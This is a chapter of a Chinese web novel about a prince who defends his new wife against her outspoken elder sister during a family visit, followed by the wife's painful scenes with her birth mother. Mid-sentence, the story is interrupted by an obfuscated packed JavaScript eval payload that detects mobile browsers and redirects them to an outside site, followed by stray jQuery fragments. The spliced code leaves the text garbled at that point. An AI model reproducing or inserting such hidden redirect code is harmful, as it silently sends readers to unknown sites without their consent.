厅四周的侍从们噤若寒蝉,一个个恨不得将头埋在地底里,听不见祁鑫与澹台嬅的争锋相对,同时为被无辜牵连的澹台姝感到焦虑。
明明澹台姝什么都没做,却被卷入纷争的漩涡中,实属天降横祸,流年不利。
澹台姝左右为难,根本选不出站谁,汗珠爬过的地方黏腻灼热,过去的一点一滴的时间无限拉长,她度日如年,思绪犹如绞不动的手帕紧绷不已。
祁鑫:“澹台嬅,是本王让你向王妃致歉的,你干嘛为难王妃?!”
“即使王妃大度原谅你的无礼,本王也要你赔罪认错。”
是十足霸道的语气。
这番话解救了澹台姝,她不用被迫二选一,帮一个得罪一个。
澹台姝不动声色松了一口气。
祁鑫站在澹台姝的身前,跟老母鸡护崽似的,梗着脖子,怒瞪转移矛头的澹台嬅。
为难她的是他,不是阿姝,有本事将火力集中到他身上。
他本不想依照电视剧中庶子在家中不受宠的设定,认为澹台姝在澹台家过得不好,可种种事实摆在眼前,他不得不脑补出澹台姝之前在澹台家过得如履薄冰、心惊胆战、谨小慎微的生活——
澹台姝在不为人知的角落穿着缝缝补补的粗布麻衣,手中捧着个窝窝头,灰头土脸,小心翼翼地啃食来之不易的嗟来之食。
可能没那么惨,但也大差不差。
祁鑫这样想,是因当初赐婚按照齿序,理应最长的澹台嬅嫁于他,但澹台嬅在周家宴会后十有八九觉得他是个小肚鸡肠的人,怕他婚后收拾他,所以推没有选择权的阿姝入“火坑”;而且他此刻都在场呢,她就敢明目张胆怼阿姝,可想而知阿姝出阁前必处处忍受澹台嬅的刁难。
隐在祁鑫身后的澹台姝眼见其坚定地要澹台嬅认错,一个头两个大,暗道:诚王未必能如意。
长姐要是怕诚王,在周家宴会明知诚王会到场的时候,也不会肆无忌惮说人坏话,从而达成某个王爷的算计。
“姝儿住口!”苏夫人和澹台尚书异口同声大喊,但仍旧盖不过非要压住祁鑫的澹台嬅的声量——
“我才不怕你个貔貅!”
……
“我才不怕那个貔貅!”
澹台嬅听到表妹苏知乔的好言相告,依旧直言不讳。
苏知乔按耐住一巴掌拍死她的冲动,“表姐,防人之心不可无,咱们需谨言慎行。”
她好想扔了表姐手中的矢【1】,让她别玩了。
苏知乔急匆匆找到移到此处投壶的澹台嬅,本就气息不匀,更在她无所谓的态度下,呼吸越发不畅。
“貔貅就是不学无术,浑身充满铜臭味,没个王爷的样子。”
“他要是怕人说,别经商啊,有本事勤学苦读,做个有出息的人。”
“这些话他在我面前,我也照说不误。”
澹台嬅边说边双手各扔出矢,正中前方投壶两侧的左右耳。
苏知乔:“……表姐你别说了,我害怕。”
求求来个人把这个狂徒毒哑。
姝姝,怎么还不来啊。
“快看,中了——”澹台嬅发丝飞扬,眉眼间是藏不住的意气风发,兴高采烈地回头,想欣赏其她贵女们表露的钦佩之情。
然后就注意了不知何时出现在她们身后的貔貅。
两人的目光刹那间碰撞到一处,相顾无言。
苏知乔发觉表姐僵硬的面部,以及四周死水一般的寂静,缓缓转身,张望到人群中的貔貅祁鑫,差点两眼一翻,晕倒在地。
完了。
……
完了。
除了澹台嬅,澹台家大厅里的所有人心中如几月前的苏知乔一般无二。
苏夫人和澹台尚书对视一眼,彼此眼中皆流露无奈,心中哀叹有澹台嬅这么一个女儿实在是他们的“福气”。
——那种浮在水深火热之中的浮气。
苏夫人上前拉住澹台嬅的手臂往后扯,结果没扯动,她侧头用只有两人听到的声音说:“你之后别想出门了。”
苏夫人后悔莫及,没在清早起来时给澹台姝下哑药,这样大家现在就不用给她收拾烂摊子。
“娘,是貔……嘶——”澹台嬅想辩解事情是祁鑫先挑起来的,错不全在她。
苏夫人知道她想说什么,用力捏了下她的手臂,咬牙切齿吐出:“闭嘴,再敢胡言乱语,这几个月的份例你也别想要了!”
澹台嬅委屈极了,抿住薄唇,心里越发讨厌祁鑫,认定祁鑫天生克她,要不然她娘也不会掐她!
澹台尚书站在祁鑫身前拱手,“王爷息怒,臣女时常话不过脑,净说些蠢话,臣与臣妇为此多有头疼,打也打了,骂也骂了,时至今日她这个毛病还是改不了。请王爷宽恕臣教女无方。”
祁鑫冷“哼”一声,觉得澹台尚书说得不到位,澹台嬅哪是话不过脑啊,分明是小脑没发育完全,不愿买澹台尚书的帐。
而低头拱手的澹台兄弟俩,绞尽脑汁,想着该怎么收场。
两人在一瞬间四目相对,用眼神交流。
澹台苍:小弟,你快装晕,给大家一个台阶下。
澹台茗:(⊙_⊙)?我出面让大姐姐和诚王姐夫冰释前嫌?二哥,你真看得起我,小弟做不到啊~
澹台苍挤眉弄眼,澹台茗一个劲摇头,显然他们眼神交流的默契为零。
他们对面的澹台姝无法坐视不管如今的局面,只好开口:“王爷,妾身忽然想起带给小娘的礼品落在马车上了,不如您陪妾身去取一趟?”
这回是借口了。
一个很拙劣的借口。
要看祁鑫能不能如上一次一般顺势而为,装作无事发生,给彼此一个台阶下。
同时澹台姝在试探自己在祁鑫心中的分量。祁鑫回眸,凝望到澹台姝眼巴巴期待他同意好让大家下台阶的眼神,暗道:人与人的差距这么怎么大,阿姝如此善解人意,一味退让,不愿与澹台嬅计较。
可澹台嬅呢?
还不服气地死死瞪他!
祁鑫要为澹台姝讨回人生中的第一个公道,不愿高高举起轻轻放下,饶恕这个不识好歹的澹台嬅。
可没等他发难,澹台嬅掀翻澹台姝为她搭的台阶,“三妹妹,不是我说你,你怎么还这么粗心。上次在周家丢了绣帕到现在都没找到,幸好这次不是什么贴身的物品落到外面,要是贴身物品被旁人捡到拿来诬陷你,你到时候怕是百口莫辩,白白陷进泥坑里,惹得一身腥。”
在场的众人:“……”
祁鑫仿佛望到上空飞过一片乌鸦,留下六个黑点,凝固住流畅的空气,散发尴尬的气息。
什么是猪队友?
澹台嬅就是猪队友!
好像有人说过:不怕坏人绞尽脑汁,就怕蠢人灵机一动。
“有人”诚不欺他。
祁鑫干咳几声,吸引大家的目光,沉声道:“岳父,您起来,此事不干您的关系,纯粹是澹台嬅目无尊长,一人的过错。”
“澹台嬅,本王以诚王的身份命令你向本王以及王妃赔罪,不然呵呵呵。”
后面的话未说明,但脸上的讥笑透露出威胁的意味。
他面如冰霜,眸中试图流露出五分无奈、三分震慑和两分高傲,然后,两只眼球险些翻成斗鸡眼。
祁鑫放弃透出一个扇形统计图的眼神。
澹台尚书见事已至此,绝无商量的余地,退到一旁,眼神示意苏夫人澹台姝和两个儿子莫要再为任性妄为的澹台嬅求情。
所有人得到眼珠子定格在气焰逐渐熄灭的澹台嬅身上,只见她一开始紧握双拳,脸色紫红,最终生不出余烟,松开手掌,双手交叉,在众目睽睽之下向澹台姝和祁鑫请罪:“王爷王妃在上,臣女心直口快,冒犯王爷王妃尊容,罪该万死,请王爷王妃宽恕臣女这个蠢人。”
众人堵在嗓子眼的心按回原处,幸好澹台嬅不是无可救药,是那不撞南墙不回头的犟种。
祁鑫:“澹台嬅,本王望你下不为例。”
澹台姝上前几步,落在祁鑫右后方,“大姐姐,你起来吧。”
“谢王爷王妃宽宏大度,臣女必铭记于心。”
事情告一段落,澹台姝不忘圆上自己的谎,与祁鑫去马车上取礼品。
澹台尚书不等两人彻底离开大厅的范围,便中气十足、吹胡子瞪眼、扯着嗓子大喊一声:“澹台嬅!”
澹台姝虎躯一震,硬着头皮求饶:“爹,您息怒。”
她欲望后退,苏夫人眼疾手快钳住她的手臂,不让她逃。
“娘~”
苏夫人冷睨她:“你这会儿叫谁都没用!”
澹台嬅知道自己在劫难逃,唤回不了父母对自己的偏爱,眼圈瞬间一红,恳求道:“这回轻点打。”
澹台尚书接过管事拿来的木棍,狠狠抽向不记打的逆子。
“啊——”
春小娘惊呼出声。
她不可置信地揉揉眼睛,祁鑫站在澹台姝身侧没有消失不见,诚王竟然陪着王妃来见她!
“小娘。”祁鑫持手行礼,春小娘心中更加惶恐不安,“王爷这可万万使不得。”
她是卑贱的舞姬出身,哪里受得了尊贵的王爷一礼。
她赶紧示意目瞪口呆的澹台姝扶起祁鑫。
澹台姝没想到堂堂诚王能为她做到这一步,她是何德何能啊!难不成真应了昨日在月影中所说,是她三生修来的福分,今生得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685180|173301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以嫁给了一个赤诚之人。
她轻唤祁鑫一声,祁鑫倒说:“小娘,您不让我起,我可不敢起。”
“王爷快快起来,您这是折煞妾身了。”春小娘热泪盈眶,眼泪沾湿手帕,内心感慨万千,庆幸自己当初站出来帮三小姐争取到这桩婚事。
诚王确实如外界传闻,是个随性友善的人。
祁鑫在春小娘的小厅小坐片刻,便找要更衣的借口,给母女俩单独相处的机会。
春小娘望向颜意放在她手边的礼品,“王妃,王爷待您情深义重,您需早日为其开枝散叶,不枉王爷待您的一片真心。”
澹台姝低头“嗯”了一声,“小娘,我会做到的。”
春小娘又说:“夫人老爷心善,许您来瞧我一眼,但您不能不懂规矩,别在妾身这耽搁太久功夫,赶快回正厅吧。”
澹台姝敛住失落的眸色,咽下话到嘴边的“小娘,你还有什么想对我说的吗”,带着颜意和浮梦找到驻足在小院门前的祁鑫,与他回到正厅与澹台尚书等人用午膳。
她扫向澹台嬅红肿的下眼睑,以及坐立不安的坐姿,心中的郁闷消散了不少。
餐桌上大家推杯换盏,言笑晏晏,好似方才什么都没发生。
坐的最远的澹台嬅目眦欲裂,恨祁鑫恨得牙痒痒,用力撕咬鸡腿上的肉,努力说服是祁鑫的血肉,嚼啊嚼。
“咳咳咳……”她一不小心噎住了。
她的贴身侍女羡鱼着急忙慌为其拍背递水,心中抱怨三姑爷的小肚鸡肠,为自家小姐打抱不平。
可她只是个奴婢,能怎么帮大小姐报仇雪恨呢?
饭后,苏夫人安排人手扶祁鑫到澹台姝的小院小憩,之后屏退其他人,留下澹台姝单独谈话。
“姝儿,你没有怨你大姐姐差一点毁你的回门宴会吧?”苏夫人拉过澹台姝的手,没有绕弯子,直奔主题。
澹台姝摇头:“女儿知道大姐姐是个真性情之人,有口无心,事情翻篇就算过去了。”
“这几日,王爷可跟你提过周家之事?”
“王爷提过,他知道背后有人策划大姐姐在他面前失言之事。他是个明白人。”
“那他单独与你相处时,对你怎么样?你跟母亲说实话,你毕竟是替嬅儿嫁到王府的,母亲心中总有一块地方不踏实。你切记你始终是澹台家的女儿,若是受什么委屈,一定要回来说,家里人永远是你的靠山。”
“母亲放心,王爷对女儿表里如一,没有当面一套背后一套,打骂羞辱女儿。”
澹台姝不意外母亲说出本该她生母问的话。
苏夫人如释重担,反复交待,翻来覆去叮嘱澹台姝莫在王府忍气吞声,有事要回家说。
澹台姝不厌其烦地保证自己不会做软柿子,苏夫人这才不念叨。
澹台姝跨出门槛,浮梦围了过来,唯独不见颜意。
她问浮梦:“颜意呢?”
浮梦语气带有一丝丝羡慕之意,答:“颜姐姐,让奴婢禀告王妃,她去看望父母了。”
颜意是澹台家的家生子。
浮梦则是五岁时被牙婆牙公贩卖到澹台家的奴隶,幸运地被澹台姝选中,才成为小姐身边的贴身侍女。
十五年过去了,浮梦早已不记得自己那对狠心卖女换钱的父母模样。
澹台姝了然,轻车熟路地走在返回自己小院的道路上,不同于过往的十八年,这次她希望这条路长一点,再长一点……
“王妃。”
“三小姐。”
两道不同的称呼,在此时与过去重叠在一人口中。
澹台姝望到春小娘的身影,有一瞬间回到了春小娘怀弟弟前的光景——小小的她从主院返回小院歇息时,春小娘会在路的尽头等她。
时隔多年,小娘眼中终于再有她的身影。
“小娘。”澹台姝眼含热泪,三步并作两步,可还没等到她扑进春小娘的怀中,春小娘劈头盖脸的一顿话先一步冲击而来。
春小娘:“王妃以为飞上枝头变凤凰,就可以得意忘形,看大小姐笑话了?!”
“您别忘了,您如今的一切都是大小姐让给您的!!”
“不然,您哪能做王妃!!!”
澹台姝虽然生生刹住了脚步,一双手臂僵在半空中,没有触碰到春小娘的身躯,但仍然感觉自己坠入了万丈悬崖,深陷无尽黑暗,孤立无援。
她的眼泪夺眶而出,泪珠晶莹剔透,冰冷刺骨,砸进她的衣领中,寒冷蔓延至全身经脉。
她退后几步,拉开自身和春小娘只有一拳之隔的距离。
哈哈哈哈哈澹台姝啊澹台姝,你怎么不长记性啊,一直奢求一个早已不在乎你的人回心转意,重新爱你如珠如宝哈哈哈哈哈。